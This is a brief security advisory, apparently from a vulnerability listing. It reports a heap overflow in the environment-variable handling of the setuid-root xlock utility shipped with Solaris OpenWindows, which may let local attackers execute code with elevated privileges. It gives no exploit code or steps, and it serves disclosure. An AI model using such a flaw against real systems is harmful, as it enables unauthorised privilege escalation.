Xlock is a utility for locking X-windows displays. It is installed setuid root because it uses the user's password to authorize access to the display when it is locked.

The version of xlock that ships with Solaris as part of OpenWindows contains a heap overflow in it's handling of an environment variable.

Local attackers may be able to execute arbitrary code with effective privileges of xlock.
